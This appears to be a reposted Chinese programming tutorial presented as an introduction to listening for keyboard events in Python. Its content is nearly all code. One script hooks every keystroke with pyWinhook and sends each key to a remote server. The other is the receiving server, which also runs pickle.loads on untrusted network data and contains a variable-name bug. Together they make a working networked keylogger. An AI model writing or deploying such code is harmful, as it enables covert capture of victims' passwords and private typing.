我们需要知道用户对键盘按了哪些键,所以需要用到监听键盘时间。这篇文章就主要给大家分享python如何实现监听键盘,下文是具体的实例,对大家理解python实现监听键盘有一定帮助。
import pickle from io import BytesIO import socket #接收数据 def Server_Recive(ip,port): socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM) socket_obj.bind((ip,port)) socket_obj.listen(5) file = 1 while True: connection,address = socket_obj.accept() #接受的数据 recieved_message = b'' recieved_message_fragment = connection.recv(1024) while recieved_message_fragment: recieved_message += recieved_message_fragment recieved_message_fragment = connection.recv(1024) try: obj = pickle.loads(recieved_message) print(obj['Key'],end=' ') except EOFError: file_name = 'recv_image_' + str(file_on) + '.bmp' recv_image = open(file_name,'wb') recv_image.write(recieved_message) file_on += 1 connection.close() if __name__ == '__main__': Server_IP = '0.0.0.0' Server_Port = 6666 Server_Recive(Server_IP,Server_Port)
键盘监听程序
#键盘监听 import pythoncom,pyWinhook,pickle,socket from io import BytesIO def Client_PIC(ip,port,obj): try: msg = pickle.dumps(obj) send_message = BytesIO(msg) send_message_fragment = send_message.read(1024) except: send_message = obj send_message_fragment = send_message.read(1024) socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM) socket_obj.connect((ip,port)) while send_message_fragment: socket_obj.send(send_message_fragment) send_message_fragment = send_message.read(1024) socket_obj.close() def OnkeyBoardEvent(event): dict_key = {} dict_key['MessageName'] = event.MessageName dict_key['Key'] = event.Key Client_PIC('你自己的ip地址',6666,dict_key) return True def Keylogger(): hm = pyWinhook.HookManager() hm.KeyDown = OnkeyBoardEvent hm.HookKeyboard() pythoncom.PumpMessages() if __name__ == '__main__': Keylogger()
其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述
运行(先运行服务端,而后运行监听程序)
以上就是关于python实现监听键盘的介绍啦,上述示例有一定的参考借鉴价值,对python监听键盘事件不是很熟悉的朋友可以看看。如果还想要了解更多python监听键盘的内容,大家可以关注其他相关文章。
文本转载自脚本之家
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:mmqy2019@163.com进行举报,并提供相关证据,查实之后,将立刻删除涉嫌侵权内容。
长按识别二维码并关注微信
更方便到期提醒、手机管理